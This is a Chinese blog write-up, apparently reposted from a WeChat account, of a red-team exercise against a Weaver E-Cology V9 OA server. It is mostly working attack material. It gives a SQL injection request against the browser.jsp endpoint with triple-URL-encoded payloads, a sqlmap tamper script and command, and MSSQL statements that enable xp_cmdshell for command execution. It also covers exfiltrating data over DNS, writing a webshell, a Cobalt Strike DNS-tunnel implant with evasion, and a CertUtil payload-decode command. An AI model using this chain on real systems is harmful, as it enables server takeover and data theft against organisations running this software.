攻防演练-硬啃靶标之泛微OA拿下靶标

admin 2024年1月6日09:51:25评论37 views字数 2768阅读9分13秒阅读模式
前言

在某次攻防过程过,发现靶标是一个泛微OA,如何通过sql注入到拿下靶标,

过程还是曲折.

不是星标不推送文章了。

师傅也不想吧~

快把极梦C设置成星标吧。

过程
目标
http://jmc.com
泛微OA E-Cology V9

攻防演练-硬啃靶标之泛微OA拿下靶标

通过扫描,发现目标存在browser注入

攻防演练-硬啃靶标之泛微OA拿下靶标

发现存在 browser注入,查看数据包确定了存在

攻防演练-硬啃靶标之泛微OA拿下靶标

poc
POST /mobile/ /plugin/browser.jsp HTTP/1.1Host: {{Hostname}}

isDis=1&browserTypeId=269&keyword=a' union select 1,''+(SELECT @@VERSION)+'
需要把keyword进行三层URL编码
POST /mobile/%20/plugin/browser.jsp HTTP/1.1Host: {{Hostname}}
isDis=1&browserTypeId=269&keyword=%2525%2536%2531%2525%2532%2537%2525%2532%2530%2525%2537%2535%2525%2536%2565%2525%2536%2539%2525%2536%2566%2525%2536%2565%2525%2532%2530%2525%2537%2533%2525%2536%2535%2525%2536%2563%2525%2536%2535%2525%2536%2533%2525%2537%2534%2525%2532%2530%2525%2533%2531%2525%2532%2563%2525%2532%2537%2525%2532%2537%2525%2532%2562%2525%2532%2538%2525%2535%2533%2525%2534%2535%2525%2534%2563%2525%2534%2535%2525%2534%2533%2525%2535%2534%2525%2532%2530%2525%2534%2530%2525%2534%2530%2525%2535%2536%2525%2534%2535%2525%2535%2532%2525%2535%2533%2525%2534%2539%2525%2534%2566%2525%2534%2565%2525%2532%2539%2525%2532%2562%2525%2532%2537
网上很多sqlmap的tamper脚本
#!/usr/bin/env python
"""Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)See the file 'LICENSE' for copying permission"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies(): pass
# URL encoding for all charactersdef tamper(payload, **kwargs): encoded_payload = ''.join(['%' + format(ord(c), 'x') for c in payload]) encoded_payload = ''.join(['%' + format(ord(c), 'x') for c in encoded_payload]) encoded_payload = ''.join(['%' + format(ord(c), 'x') for c in encoded_payload]) encoded_payload = encoded_payload.replace(' ', '%20') return encoded_payload
利用sqlmap可以进行注入:
sqlmap -r sqli.txt --batch --random-agent --tamper=urlencode3

攻防演练-硬啃靶标之泛微OA拿下靶标

获取的不是堆叠,mssql没办法os-shell

攻防演练-硬啃靶标之泛微OA拿下靶标

尝试方式
这里尝试手动mssql的注入,如果执行命令呢,首选开启xpcmdshell
(网上文章千篇一律~)
为了不破坏目标环境,这里先尝试本地测试.
直接上poc,下面poc需要对keyword进行三次url编码.为了方便观看就不编码了.
1.开启xpcmdshell:isDis=1&browserTypeId=1&keyword='EXEC sp_configure 'show advanced options',1 select'sDis=1&browserTypeId=1&keyword='RECONFIGURE select'isDis=1&browserTypeId=1&keyword='EXEC sp_configure 'xp_cmdshell',1 select'2.执行命令isDis=1&browserTypeId=1&keyword='exec master..xp_cmdshell 'ping dnslog' select'

攻防演练-硬啃靶标之泛微OA拿下靶标

可行,去目标测试.左等右等发现无法获取到dnslog的消息.卒~
思考
抛开目标是泛微oa的前提下,思考这样的原因.

1.目标未成功开起xpcmdshell.
2.dnslog被禁用,(现在很多dnslog都是黑名单).
3.假的假的假的.
思考后,可以发现上述自己可控的只有2,3.所有的假设都在成功开启xpcmdshell下操作的.

继续尝试
经过测试,dnslog被禁用了.现场搭建了dnslog,成功获取到信息.(当时没有截图)
后续用yakit补图.

攻防演练-硬啃靶标之泛微OA拿下靶标

发现可以执行命令,但是测试不出网,这里外带了一些数据来证明拿下了机器

攻防演练-硬啃靶标之泛微OA拿下靶标

不出网,但是可以执行,那么要不上线,要不写webshell.
通过webshell尝试,发现目标是站库分离~机器dns出网.
简单说一下webshell的写法,网上应该改.
1.找路径存在数据库,然后看表知道路径.或者全盘枚举关键字.
2.然后写入shell
继续,站库分离,dns隧道出网,那只能利用dns隧道上线.
搭建dns-cs.生成shellcode-免杀.
首先利用CertUtil将exe转换为base64的txt
然后写入到目标
最后写入完成后转换为exe
exec master..xp_cmdshell 'CertUtil -decode c:/users/public/vars.txt c:/users/public/111.exe';

攻防演练-硬啃靶标之泛微OA拿下靶标

最后也是成功拿下了靶标,耗时一夜.
这一步写入的时候,用数据库执行会很麻烦.
只能分割一点一点传入.写了个脚本,放到了星球.

上述也有自动化工具,可以github找一下.








原文始发于微信公众号(极梦C):攻防演练-硬啃靶标之泛微OA拿下靶标

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月6日09:51:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   攻防演练-硬啃靶标之泛微OA拿下靶标https://cn-sec.com/archives/2367703.html

发表评论

匿名网友 填写信息